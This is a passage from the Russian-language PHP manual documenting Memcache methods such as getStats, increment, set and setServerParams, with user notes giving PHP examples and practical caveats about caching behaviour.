            foreach($cdump AS $keys => $arrVal) {
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

Hope it helps....


Возвращает статус сервера

  • « Memcache::getExtendedStats
  • Memcache::getStats »
  • PHP Manual
  • Memcache
  • Возвращает статус сервера

Memcache::getServerStatus

(PECL memcache >= 2.1.0)

Memcache::getServerStatus — Возвращает статус сервера

Описание

Memcache::getServerStatus(string $host, int $port = 11211): int

Memcache::getServerStatus() возвращает статус онлайн/офлайн серверов. Вы также можете использовать функцию memcache_get_server_status().

Замечание:

Эта функция была добавлена в Memcache версии 2.1.0.

Список параметров

host

Указывает на хост, на котором memcached прослушивает соединения.

port

Указывает на порт, на котором memcached прослушивает соединения.

Возвращаемые значения

Возвращает статус серверов. 0, в случае возникновения ошибки на сервере и значение, отличное от нуля, в противном случае

Примеры

Пример #1 Пример использования Memcache::getServerStatus()

<?php

/* объектно-ориентированное API */
$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
echo $memcache->getServerStatus('memcache_host', 11211);

/* процедурное API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_server_status($memcache, 'memcache_host', 11211);

?>

Смотрите также

  • Memcache::addServer() - Добавляет сервер memcached в пул соединений
  • Memcache::setServerParams() - Изменяет параметры сервера и статус во время выполнения

User Contributed Notes

tom at all dash community dot de 06-Dec-2011 08:01
Note: the result of the function is cached. The cached is not automatically refreshed.

Call MemCache::getExtendedStats() to force a cache-update.
geoffrey dot hoffman at gmail dot com 21-Jul-2010 12:10
Beware... this method does not actually attempt to connect to the server and port you specify! It is not a health check to tell whether memcached is actually running or not!

It merely returns the server status from the pool, which defaults to TRUE when using addServer( ) with only required arguments.

Try it - stop your memcached and run the sample code above - it will output 1.


Получить статистику сервера

  • « Memcache::getServerStatus
  • Memcache::getVersion »
  • PHP Manual
  • Memcache
  • Получить статистику сервера

Memcache::getStats

(PECL memcache >= 0.2.0)

Memcache::getStats — Получить статистику сервера

Описание

Memcache::getStats(string $type = ?, int $slabid = ?, int $limit = 100): array|false

Memcache::getStats() возвращает ассоциативный массив, содержащий статистику сервера. Ключи массива соответствуют параметрам статистики, а значения - значениям параметров. Также вы можете использовать функцию memcache_get_stats().

Список параметров

type

Тип статистики для извлечения. Корректные значения: reset, malloc, maps, cachedump, slabs, items, sizes. В соответствии со спецификацией протокола memcached, эти дополнительные аргументы "могут быть изменены для удобства разработчиков memcache".

slabid

Используется совместно с type для указания из какого slab-файла делать выгрузку. Используется только в целях отладки. Команда cachedump пытается запустить сервер и должна использоваться только для отладки.

limit

Используется вместе с type для ограничения количества извлекаемых записей.

Возвращаемые значения

Возвращает ассоциативный массив, содержащий статистику сервера или false в случае возникновения ошибки.

Смотрите также

  • Memcache::getVersion() - Вернуть версию сервера
  • Memcache::getExtendedStats() - Получить статистику со всех серверов в пуле

User Contributed Notes

niktriant89 at gmail dot com 01-Nov-2023 06:16
Official up to date Memcached explanation of stats command output on the github page:

https://github.com/memcached/memcached/blob/master/doc/protocol.txt

Please check you current version
Amiangshu S. Bosu 16-Mar-2009 03:58
Here is a memcache stats analyzer method that can be used to print memcache stats in a nice informative tabular format.

<?php

function printDetails($status){

echo "<table border='1'>";

        echo "<tr><td>Memcache Server version:</td><td> ".$status ["version"]."</td></tr>";
        echo "<tr><td>Process id of this server process </td><td>".$status ["pid"]."</td></tr>";
        echo "<tr><td>Number of seconds this server has been running </td><td>".$status ["uptime"]."</td></tr>";
        echo "<tr><td>Accumulated user time for this process </td><td>".$status ["rusage_user"]." seconds</td></tr>";
        echo "<tr><td>Accumulated system time for this process </td><td>".$status ["rusage_system"]." seconds</td></tr>";
        echo "<tr><td>Total number of items stored by this server ever since it started </td><td>".$status ["total_items"]."</td></tr>";
        echo "<tr><td>Number of open connections </td><td>".$status ["curr_connections"]."</td></tr>";
        echo "<tr><td>Total number of connections opened since the server started running </td><td>".$status ["total_connections"]."</td></tr>";
        echo "<tr><td>Number of connection structures allocated by the server </td><td>".$status ["connection_structures"]."</td></tr>";
        echo "<tr><td>Cumulative number of retrieval requests </td><td>".$status ["cmd_get"]."</td></tr>";
        echo "<tr><td> Cumulative number of storage requests </td><td>".$status ["cmd_set"]."</td></tr>";

        $percCacheHit=((real)$status ["get_hits"]/ (real)$status ["cmd_get"] *100);
        $percCacheHit=round($percCacheHit,3);
        $percCacheMiss=100-$percCacheHit;

        echo "<tr><td>Number of keys that have been requested and found present </td><td>".$status ["get_hits"]." ($percCacheHit%)</td></tr>";
        echo "<tr><td>Number of items that have been requested and not found </td><td>".$status ["get_misses"]."($percCacheMiss%)</td></tr>";

        $MBRead= (real)$status["bytes_read"]/(1024*1024);

        echo "<tr><td>Total number of bytes read by this server from network </td><td>".$MBRead." Mega Bytes</td></tr>";
        $MBWrite=(real) $status["bytes_written"]/(1024*1024) ;
        echo "<tr><td>Total number of bytes sent by this server to network </td><td>".$MBWrite." Mega Bytes</td></tr>";
        $MBSize=(real) $status["limit_maxbytes"]/(1024*1024) ;
        echo "<tr><td>Number of bytes this server is allowed to use for storage.</td><td>".$MBSize." Mega Bytes</td></tr>";
        echo "<tr><td>Number of valid items removed from cache to free memory for new items.</td><td>".$status ["evictions"]."</td></tr>";

echo "</table>";

    }

?>

Sample usage:
<?php

  $memcache_obj = new Memcache;
  $memcache_obj->addServer('memcache_host', 11211);
   printDetails($memcache_obj->getStats());
?>
24-Oct-2006 07:09
The stats output from this function and what is output from the getExtendedStats() are identical except that getExtendedStats() provides information for all servers used.
mikael at synd dot info 18-Sep-2006 12:22
pid                        Process id of this server process
uptime                    Number of seconds this server has been running
time                    Current UNIX time according to the server
version                    Version string of this server
rusage_user                Accumulated user time for this process
rusage_system            Accumulated system time for this process
curr_items                Current number of items stored by the server
total_items                Total number of items stored by this server ever since it started
bytes                    Current number of bytes used by this server to store items
curr_connections        Number of open connections
total_connections        Total number of connections opened since the server started running
connection_structures    Number of connection structures allocated by the server
cmd_get                    Cumulative number of retrieval requests
cmd_set                    Cumulative number of storage requests
get_hits                Number of keys that have been requested and found present
get_misses                Number of items that have been requested and not found
bytes_read                Total number of bytes read by this server from network
bytes_written            Total number of bytes sent by this server to network
limit_maxbytes            Number of bytes this server is allowed to use for storage.


Вернуть версию сервера

  • « Memcache::getStats
  • Memcache::increment »
  • PHP Manual
  • Memcache
  • Вернуть версию сервера

Memcache::getVersion

(PECL memcache >= 0.2.0)

Memcache::getVersion — Вернуть версию сервера

Описание

Memcache::getVersion(): string|false

Memcache::getVersion() возвращает строку с номером версии сервера. Также вы можете использовать функцию memcache_get_version().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку с номером версии сервера или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::getVersion()

<?php

/* объектно-ориентированное API */
$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);
echo $memcache->getVersion();

/* процедурное API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_version($memcache);

?>

Смотрите также

  • Memcache::getExtendedStats() - Получить статистику со всех серверов в пуле
  • Memcache::getStats() - Получить статистику сервера

User Contributed Notes

b dot willemsen8 at gmail dot com 26-Aug-2014 01:16
I also use this method to verify that Memcache is properly configured on the server since it returns false if there is something wrong. So you can do something like this:

<?php
$memcache = new Memcache;

if ($memcache->getVersion() === false) {
    throw new Exception('Please, verify the Memcache configuration');
}


Увеличить значение элемента

  • « Memcache::getVersion
  • Memcache::pconnect »
  • PHP Manual
  • Memcache
  • Увеличить значение элемента

Memcache::increment

(PECL memcache >= 0.2.0)

Memcache::increment — Увеличить значение элемента

Описание

Memcache::increment(string $key, int $value = 1): int|false

Memcache::increment() увеличивает значение элемента на величину value. Если элемент с указанным ключом key не числовой и не может быть приведён к числу, то его значение будет установлено в value. Memcache::increment() не создаёт элемент, если он до этого не существовал.

Замечание:

Не используйте Memcache::increment() с элементами, которые были сохранены с использованием сжатия, потому что соответствующий вызов Memcache::get() обернётся неудачей.

Также вы можете использовать функцию memcache_increment().

Список параметров

key

Ключ элемента.

value

Увеличение значения на величину value.

Возвращаемые значения

В случае успешного выполнения возвращает новое значение элемента или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::increment()

<?php

/* процедурное API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* инкрементировать счётчик на 2 */
$current_value = memcache_increment($memcache_obj, 'counter', 2);

/* объектно-ориентированное API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* инкрементировать счётчик на 3 */
$current_value = $memcache_obj->increment('counter', 3);

?>

Смотрите также

  • Memcache::decrement() - Декрементировать значение элемента
  • Memcache::replace() - Заменить значение существующего элемента

User Contributed Notes

perroazul64 at gmail dot com 07-Jun-2011 10:46
When the key doesn't exist it may return either bool(false) or int(0) (I get different return values on different servers), so be careful if you check for something like ($memcache->increment($key) === false).
ian at blip dot fm 30-Jun-2009 04:28
Be careful to use Memcache::decrement() and never Memcache::increment() with a negative value.

The check that prevents Memcache::decrement() from going negative is not in place with Memcache::increment(), so you can end up with a garbage integer on the order of 18 quintillion stored in place of the expected value.
jay dot paroline at escapemg dot com 13-May-2009 06:34
Instead of checking the value before incrementing, you can simply ADD it instead before incrementing each time. If it's already there, your ADD is ignored, and if it's not there, it's set.

If you add($memcacheKey, 0) and then increment($memcacheKey, 1) in that order, you avoid all possible race conditions. If two threads are running this code concurrently, you will always end up with your value being 2 no matter which order the threads execute in.
Anonymous 13-May-2009 06:16
Please note:
If the key does not exist, memcache does NOT return false (as you might expect) but 0.
You won't get any hint that the key did not exist and still does not exist and that nothing was incremented.
15-Jun-2005 12:54
if no variable exists, even if you specify an increment value, the result will be null.

if you're using this for a mutex, chk if its null, and if so, then ADD the variable.


Открывает постоянное соединение с сервером memcached

  • « Memcache::increment
  • Memcache::replace »
  • PHP Manual
  • Memcache
  • Открывает постоянное соединение с сервером memcached

Memcache::pconnect

(PECL memcache >= 0.4.0)

Memcache::pconnect — Открывает постоянное соединение с сервером memcached

Описание

Memcache::pconnect(string $host, int $port = ?, int $timeout = ?): mixed

Memcache::pconnect() аналогична Memcache::connect() с той разницей, что соединение устанавливается постоянным. Это соединение не закрывается после завершения выполнения скрипта и функцией Memcache::close(). Вы также можете использовать функцию memcache_pconnect().

Список параметров

host

Указывает на хост, на котором memcached прослушивает соединения. Этот параметр также может указывать на другой транспорт, такой как unix:///path/to/memcached.sock, для использования сокетов домена UNIX, в этом случае port должен установлен в 0.

port

Указывает на порт, на котором memcached прослушивает соединения. Установите этот параметр на 0, когда используются сокеты домена UNIX.

timeout

Значение в секундах, которое будет использоваться для подключения к домену. Подумайте дважды, прежде чем менять значение по умолчанию в 1 секунду - вы можете потерять все преимущества кеширования, если ваше соединение слишком медленное.

Возвращаемые значения

Возвращает объект Memcache или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::pconnect()

<?php

/* процедурное API */
$memcache_obj = memcache_pconnect('memcache_host', 11211);

/* объектно-ориентированное API */
$memcache_obj = new Memcache;
$memcache_obj->pconnect('memcache_host', 11211);

?>

Смотрите также

  • Memcache::connect() - Открывает соединение с сервером memcached

User Contributed Notes

john.royer [at] gmail.com 15-Oct-2018 03:47
pconnect() put error message to stderr if connection failed. This behavior may cause unexpected output.
use '@' infrom of `pconnect()` to avoid it.

<?php

$cache = new Memcache();
$stat = @$cache->pconnect('localhost', 11211);

if (false === $stat) {
    // connect failed
}
// connect success
office at cws-trummer dot biz 20-Mar-2009 02:17
use persistent connection if you have problems with system process 0 WAIT_TIME


Заменить значение существующего элемента

  • « Memcache::pconnect
  • Memcache::set »
  • PHP Manual
  • Memcache
  • Заменить значение существующего элемента

Memcache::replace

(PECL memcache >= 0.2.0)

Memcache::replace — Заменить значение существующего элемента

Описание

Memcache::replace(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool

Memcache::replace() используется для замены значения существующего элемента с данным ключом key. В случае, если элемент с таким ключом не найден, Memcache::replace() возвращает false. В остальных случаях Memcache::replace() работает аналогично Memcache::set(). Вы также можете использовать функцию memcache_replace().

Список параметров

key

Ключ, связанный с элементом.

var

Сохраняемое значение. Строки и числа сохраняются как есть, остальные типы сериализируются.

flag

Используйте MEMCACHE_COMPRESSED для сохранения элемента сжатым (используется zlib).

expire

Срок жизни элемента. Если равен нулю, срок жизни никогда не истечёт. Вы также можете использовать временную метку Unix, или число секунд, начиная с текущего времени, однако в этом случае количество секунд не может быть больше 2592000 (30 дней).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::replace()

<?php

$memcache_obj = memcache_connect('memcache_host', 11211);

/* процедурное API */
memcache_replace($memcache_obj, "test_key", "some variable", false, 30);

/* объектно-ориентированное API */
$memcache_obj->replace("test_key", "some variable", false, 30);

?>

Смотрите также

  • Memcache::set() - Сохранить данные на сервере
  • Memcache::add() - Добавить элемент с указанным ключом

User Contributed Notes

adam.pippin [AT] ohmedia.ca 20-Sep-2010 03:57
This page mentions that replace should be used rather than set, but gives no reason. Best information I could find was a comment by 'argyleblanket' on the set page. (http://www.php.net/manual/en/memcache.set.php#84032)

"Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server. "


Сохранить данные на сервере

  • « Memcache::replace
  • Memcache::setCompressThreshold »
  • PHP Manual
  • Memcache
  • Сохранить данные на сервере

Memcache::set

(PECL memcache >= 0.2.0)

Memcache::set — Сохранить данные на сервере

Описание

Memcache::set(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool

Memcache::set() записывает элемент со значением var на сервере memcache с указанным ключом key. Параметр expire задаёт время жизни элемента. Если он равен 0, то элемент никогда не устареет (но сервер memcached не гарантирует что элемент будет постоянно храниться в кеше и он может быть удалён для освобождения места для новых элементов). Вы можете использовать константу MEMCACHE_COMPRESSED в качестве значения для параметра flag, если вам требуется сжатие "на лету" (используется zlib).

Замечание:

Помните, что ресурсы (например дескрипторы файлов или подключений) не могут быть сохранены в кеше, потому что они не могут быть сериализованы.

Также вы можете использовать функцию memcache_set().

Список параметров

key

Ключ, с которым будет связано значение элемента.

var

Переменная для сохранения. Строковые и числовые значения сохраняются как есть, а остальные типы сериализируются.

flag

Используйте MEMCACHE_COMPRESSED для сохранения элементов с использованием сжатия (используется zlib).

expire

Время жизни элемента. Если равно нулю, элемент никогда не устаревает. Также вы можете использовать метку времени Unix или число секунд, начиная с текущего момента, однако, в этом случае число секунд не может быть больше 2592000 (30 дней).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::set()

<?php
/* процедурное API */

/* подключение к серверу memcached */
$memcache_obj = memcache_connect('memcache_host', 11211);

/*
установить значение элемента с ключом 'var_key',
используя 0 в flag, без использования сжатия со
временем жизни 30 секунд
*/
memcache_set($memcache_obj, 'var_key', 'some variable', 0, 30);

echo memcache_get($memcache_obj, 'var_key');

?>

Пример #2 Пример использования Memcache::set()

<?php
/* объектно-ориентированное API */

$memcache_obj = new Memcache;

/* подключение к серверу memcached */
$memcache_obj->connect('memcache_host', 11211);

/*
установить значение элемента с ключом 'var_key',
используя сжатие "на лету" и временем жизни 50 секунд.
*/
$memcache_obj->set('var_key', 'some really big variable', MEMCACHE_COMPRESSED, 50);

echo $memcache_obj->get('var_key');

?>

Смотрите также

  • Memcache::add() - Добавить элемент с указанным ключом
  • Memcache::replace() - Заменить значение существующего элемента

User Contributed Notes

winmutt 01-Jul-2019 09:19
The note here about replace and set is no longer valid in my testing. You can call set as many times as you want on the same key and reliably get the last written value. I tested this with 3 memcache nodes over 10000 keys.
jcastromail at yahoo dot es 27-Aug-2017 12:25
If you get the next message

"The lowest two bytes of the flags array is reserved for pecl/memcache internal use"

Then try the next operations:
a) try to use Memcached instead of Memcache.
b) switch the compressed value
  $memcache->set($key,$value,MEMCACHE_COMPRESSED)
  or
  $memcache->set($key,$value,0)
aamthor at advertzoom dot de 29-Aug-2012 08:27
to put some things right:

max expiration time: RTFM, it's written here.

max amount of data: almost unlimited as long as your server can bear it.

speed and pace:
well, thats another thing. We had a couple of data records which for application reasons must be kept in memory. Since the bunch of data is big and doesn't change very often, we considered caching it to memcache instead of retrieving it from the DB each and every time.

This isn't a general advice nor any quality statement, but we did a couple of tests with serialized arrays (50 MB), compressed and uncompressed and it turned out that in our particular scenario, memcache is much slower than the DB (mySql).

In general, one can not predict on the behavior of memcache in certain scenarios but always need to make some testing and benchmarking upfront before starting to deploy things to a live system.

Despite of the tests above, we are still using memcache for session caching instead of file system, since there are certain other things to consider and the amount of data is always small (few KB)
wbonde at yakabod dot com 21-Jan-2011 12:27
The max time for expiration (without having to worry about deletions when necessary as with 0 seconds) is 2,592,000 seconds (30 days).

Specifying an expiration value above that will return false, but will NOT throw in error so it is easy to miss.
duerra at nospam dot yahoo dot com 17-Nov-2010 04:04
If you're interested in using compression, please note that, at least for PHP version 5.3.2 and Memcache version 3.0.4, when retrieving a key who's value is a numeric or boolean type, PHP throws a notice of the following:

Message: MemcachePool::get(): Failed to uncompress data

The way around this is to test your variable type before setting or adding it to Memcache, or even cast it as a string.

<?php
$key = 'mc_key';
$value = 12345;
$compress = is_bool($value) || is_int($value) || is_float($value) ? false : MEMCACHE_COMPRESSED;

$mc= new Memcache;
$mc->connect('localhost', 11211);
$mc->set($key, $value, $compress);

echo $mc->get($key);

//Alternative is to cast the variable
$value = is_scalar($value) ? (string)$value : $value;
$mc->set($key, $value, MEMCACHE_COMPRESSED);
?>
effeesse gmail com 23-Apr-2010 01:06
if you want to cache an image created on-the-fly you can do:

<?php
ob_start();
imagepng($image);
$memcache->set("my_image", ob_get_contents(), false, $cache_time);
ob_end_clean();
?>

then you could access the chached image as simple variable:
<?php $my_image = $memcache->get("my_image"); ?>

so, in short, you have to buffer the output
argyleblanket 24-Jun-2008 05:12
Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server.

Remedy is to use a combination of replace and set:

<?php
$result = $memcache->replace( $key, $var );
if( $result == false )
{
    $result = $memcache->set( $key, $var );
}
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2008 07:45
The lowest byte of the int is reserved for pecl/memcache internal usage (e.g. to indicate compression and serialization status).
Stephen from veedow.com 09-Apr-2008 07:07
I ran into problems using the MEMCACHE_COMPRESSED flag when storing small amounts of data, such as an integers.

For expample.

<?php
Memcache::set('integer', 123456, MEMCACHE_COMPRESSED);
//would return true

Memcache::get('integer');
//would return false
?>

This problem went away when I removed the MEMCACHE_COMPRESSED flag for values that were small.
Sc00bz 19-Jul-2007 01:20
This is just two minor things about memcache that might not be perfectly clear, the limits on key and data sizes and what happen to flags in the memcache protocol.

* There is a max key size of 250 anything bigger gets truncated. There is also a (1MB - 42 bytes) limit on the data.

* In the memcache protocol there is a 16bit, 32bit in newer version, flag that you can set to whatever you want because memcache doesn't do anything with the flags. The php api doesn't let you get the flags because php uses the flags for php's own use such as "MEMCACHE_COMPRESSED" and I decided to test if it was doing something because it wasn't part of the memcache protocol.

<?php
$memcache = new Memcache();
$memcache->connect("127.0.0.1", 11211);

// Since memcache truncates the keys at 250 bytes both the get "250 a's" and "251 a's" will find the key in the cache
echo "*** Truncate key test ***<br>";
echo "set 251: " . ($memcache->set(str_repeat("a", 251), "value", 0, 1) ? "t" : "f") . "<br>";

echo "get 249: " . (($ret = $memcache->get(str_repeat("a", 249))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 250: " . (($ret = $memcache->get(str_repeat("a", 250))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 251: " . (($ret = $memcache->get(str_repeat("a", 251))) !== false ? "'$ret'" : "f") . "<br>";
echo "delete: " . ($memcache->delete(str_repeat("a", 250)) ? "t" : "f") . "<br><br>";

echo "*** Compress value test ***<br>";
echo "set 1024*1024-42: " . ($memcache->set("test", str_repeat("a", 1024*1024-42), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024-41: " . ($memcache->set("test", str_repeat("a", 1024*1024-41), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024 compressed: " . ($memcache->set("test", str_repeat("a", 1024*1024), MEMCACHE_COMPRESSED, 1) ? "t" : "f") . "<br>";
echo "delete: " . ($memcache->delete("test") ? "t" : "f") . "<br>";
$memcache->close();
?>

Output:
*** Truncate key test ***
set 251: t
get 249: f
get 250: 'value'
get 251: 'value'
delete: t

*** Compress value test ***
set 1024*1024-42: t
set 1024*1024-41: f
set 1024*1024 compressed: t
delete: t


Включить автоматическое сжатие для больших значений

  • « Memcache::set
  • Memcache::setServerParams »
  • PHP Manual
  • Memcache
  • Включить автоматическое сжатие для больших значений

Memcache::setCompressThreshold

(PECL memcache >= 2.0.0)

Memcache::setCompressThreshold — Включить автоматическое сжатие для больших значений

Описание

Memcache::setCompressThreshold(int $threshold, float $min_savings = ?): bool

Memcache::setCompressThreshold() включает автоматическое сжатие для больших значений. Вы также можете использовать функцию memcache_set_compress_threshold().

Замечание:

Эта функция была добавлена в Memcache версии 2.0.0.

Список параметров

threshold

Задаёт минимальный размер элементов для попыток автоматического сжатия.

min_saving

Указывает минимальный размер сэкономленного размера. Переданное значение должно быть в пределах от 0 до 1. Значение по умолчанию 0.2, что задаёт минимальный размер сэкономленного размера в 20%.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::setCompressThreshold()

<?php

/* объектно-ориентированное API */

$memcache_obj = new Memcache;
$memcache_obj->addServer('memcache_host', 11211);
$memcache_obj->setCompressThreshold(20000, 0.2);

/* процедурное API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_compress_threshold($memcache_obj, 20000, 0.2);

?>

User Contributed Notes

spam at croler dot net 25-Nov-2013 03:41
The strangest thing is that you don't supply a server as parameter to setCompressThreshold(), so the value should be related to the memcache module, not the server itself. However it's required that you have added a server before you can set compress threshold.  The documentation does not specify if  the servers that are added after the call to this function will have the set value. I would test it and post, but  since it's not documented the behavior could change.
So if you want to be sure -> set the threshold every time you add a server.


Изменяет параметры сервера и статус во время выполнения

  • « Memcache::setCompressThreshold
  • Функции Memcache »
  • PHP Manual
  • Memcache
  • Изменяет параметры сервера и статус во время выполнения

Memcache::setServerParams

(PECL memcache >= 2.1.0)

Memcache::setServerParams — Изменяет параметры сервера и статус во время выполнения

Описание

Memcache::setServerParams(
string $host,
int $port = 11211,
int $timeout = ?,
int $retry_interval = false,
bool $status = ?,
callable $failure_callback = ?
): bool

Memcache::setServerParams() изменяет параметры сервера во время выполнения. Вы также можете использовать функцию memcache_set_server_params().

Замечание:

Эта функция была добавлена в Memcache версии 2.1.0.

Список параметров

host

Указывает на хост, на котором memcached прослушивает соединения.

port

Указывает на порт, на котором memcached прослушивает соединения.

timeout

Значение в секундах, которое будет использоваться для подключения к домену. Подумайте дважды, прежде чем менять значение по умолчанию в 1 секунду - вы можете потерять все преимущества кеширования, если ваше соединение слишком медленное.

retry_interval

Управляет частотой проверки доступности отказавшего сервера, по умолчанию 15 секунд. Если задать значение "-1", то попыток проверить доступность сервера предприниматься не будет. Ни этот параметр, ни параметр persistent не оказывают никакого влияния, если модуль загружен динамически через функцию dl().

status

Определяет, должен ли сервер помечен флагом как "онлайн". Установка этого параметра в false и retry_interval в -1 позволит сохранить сервер в пуле, но не использовать его в алгоритме распределения ключей. Запрос к этому серверу либо запустит механизм обеспечения отказоустойчивости, либо сразу же прервётся с ошибкой, в зависимости от настройки memcache.allow_failover. По умолчанию равно true, что означает, что сервер активен и готов принимать запросы.

failure_callback

Позволяет пользователю задать callback-функцию, которая запустится в случае какой-либо ошибки. Эта функция будет вызвана раньше, чем будет запущен механизм обеспечения отказоустойчивости. Функция принимает два параметра - имя хоста и порт отказавшего сервера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcache::setServerParams()

<?php

function _callback_memcache_failure($host, $port) {
print "неудачное подключение memcache - '$host:$port'";
}

/* объектно-ориентированное API */

$memcache = new Memcache;

// Добавить сервер в офлайн-режим
$memcache->addServer('memcache_host', 11211, false, 1, 1, -1, false);

// Перевести сервер обратно в онлайн
$memcache->setServerParams('memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

/* процедурное API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_server_params($memcache_obj, 'memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

?>

Смотрите также

  • Memcache::addServer() - Добавляет сервер memcached в пул соединений
  • Memcache::getServerStatus() - Возвращает статус сервера

User Contributed Notes

There are no user contributed notes for this page.


Функции Memcache

Содержание

  • memcache_debug — Включить/выключить вывод отладочной информации

User Contributed Notes

dweller at devonweller dot com 18-Nov-2009 09:02
In the memcache PECL extension version 2.2.5, the delete function does not work with memcached 1.4.3.  To work around this, here is a version of the memcache PECL extension with a patch provided by harv at pringo dot com applied:

http://code.google.com/p/phpmemcachepatch/downloads/list

To install: download

http://phpmemcachepatch.googlecode.com/files/memcache-2.2.5b.tgz

and do:

pecl install memcache-2.2.5b.tgz
restlessmind at I dot gmail dot HATE dot com dot SPAM 19-Feb-2008 01:50
If you are trying install this module for PHP 5.2 under Windows but it won't load on startup, make sure you have all your dependencies including the correct thread-safety build of PHP.

For hours I tried to track down why I couldn't load php_memcache.dll, and finally used Dependency Walker (from http://www.dependencywalker.com) on the .dll file.  This made me realize that while I was using the version of PHP 5.2.5 that was non-thread safe, the .dll offered by pecl4win was expecting the thread safe version of PHP.  Once I rectified this, everything worked fine.
contact at codeassembly dot com 30-Jan-2008 06:28
Note that there is no way to have your own hashing mechanism, the best way to group a set of objects to a server is to manually select the server to use.

I want to keep all objects for a certain user on the same server.

user_54_description
user_54_info
user_54_comments
user_54_etc
.
.

If I have all these objects on the same server I can get all data with only one call to memcache -> get (get_multi), so this improves performance a lot.

The way I do this is by hashing the User/Object id to to the number of servers.

<?php
$memcache_hosts = array
(
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
'192.168.1.4',
'192.168.1.5',
);

$server = $id % count($memcache_hosts);

$memcache = new Memcache;
$memcache->connect($memcache_hosts[$server], 11211);

//get or set your objects here
?>

You can leave other objects that you don't want to group to memcache extension to hash and select the appropiate server.
mogmios at gmail dot com 30-Sep-2007 09:03
When installing the memcache module for Apache/PHP with a non-standard location it seems like there is no way to define the location when configuring for build. You'll get an error complaining about being unable to find php_session.h. I modified configure to try the PREFIX location too and that seems to have worked fine.

    if test -f "${prefix}/include/php/ext/session/php_session.h"; then
      session_inc_path="${prefix}/include/php"
    elif test -f "$abs_srcdir/include/php/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir/include/php"
    elif test -f "$abs_srcdir/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir"
    elif test -f "$phpincludedir/ext/session/php_session.h"; then
      session_inc_path="$phpincludedir"
    fi
Colin Guthrie 23-Aug-2007 02:57
I have noticed a bug/documentation error:

The above docs say the following about the session.save_path arguement:
"Each url may contain parameters which are applied to that server, they are the same as for the Memcache::addServer() method. "

addServer method's docs say:
"port

    Point to the port where memcached is listening for connections. This parameter is optional and its default value is 11211. Set this parameter to 0 when using UNIX domain sockets. "

However when specifying the save_path, I have found that with PHP 5.2.3 and memcache 2.1.2 that the port is a *required* part of the string.

Hope that helps some people scratching their heads.
markfrawley at gmail dot com 26-Jun-2007 01:10
Here is a PHP4 backport of the above MemcacheAggregator class:

<?php
class MemcachedAggregator {
    var $connections;
    var $_servers;

    function MemcachedAggregator($servers) {
        $this->_servers = $servers;
        // Attempt to establish/retrieve persistent connections to all servers.
        // If any of them fail, they just don't get put into our list of active
        // connections.
        $this->connections = array();
        for ($i = 0, $n = count($servers); $i < $n; $i++) {
            $server = $servers[$i];
            $con = memcache_connect($server['host']);
            //memcache_debug(1);
            //$memcache = &new Memcache;
            //$con = $memcache->connect($server['host']);
            if (!($con == false)) {
                $this->connections[] = &$con;
            }

        }
    }

    function _getConForKey($key) {
        $hashCode = 0;
        for ($i = 0, $len = strlen($key); $i < $len; $i++) {
            $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
        }
        if (($ns = count($this->connections)) > 0) {
            return $this->connections[$hashCode%$ns];
            //return $this->connections[0];
        }
        return false;
    }

    function debug($on_off) {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->debug($on_off)) $result = true;
        }
        return $result;
    }

    function flush() {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->flush()) $result = true;
        }
        return $result;
    }

    /// The following are not implemented:
    ///getStats()
    ///getVersion()

    function get($key) {
        if (is_array($key)) {
            $dest = array();
            foreach ($key as $subkey) {
            $val = get($subkey);
            if (!($val === false)) $dest[$subkey] = $val;
            }
            return $dest;
        } else {
            $conn = &$this->_getConForKey($key);
            return $conn->get($key);
        }
    }

    function set($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->set($key, $var, $compress, $expire);
    }

    function add($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->add($key, $var, $compress, $expire);
    }

    function replace($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->replace($key, $var, $compress, $expire);
    }

    function delete($key, $timeout=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->delete($key, $timeout);
    }

    function increment($key, $value=1) {
        $conn = &$this->_getConForKey($key);
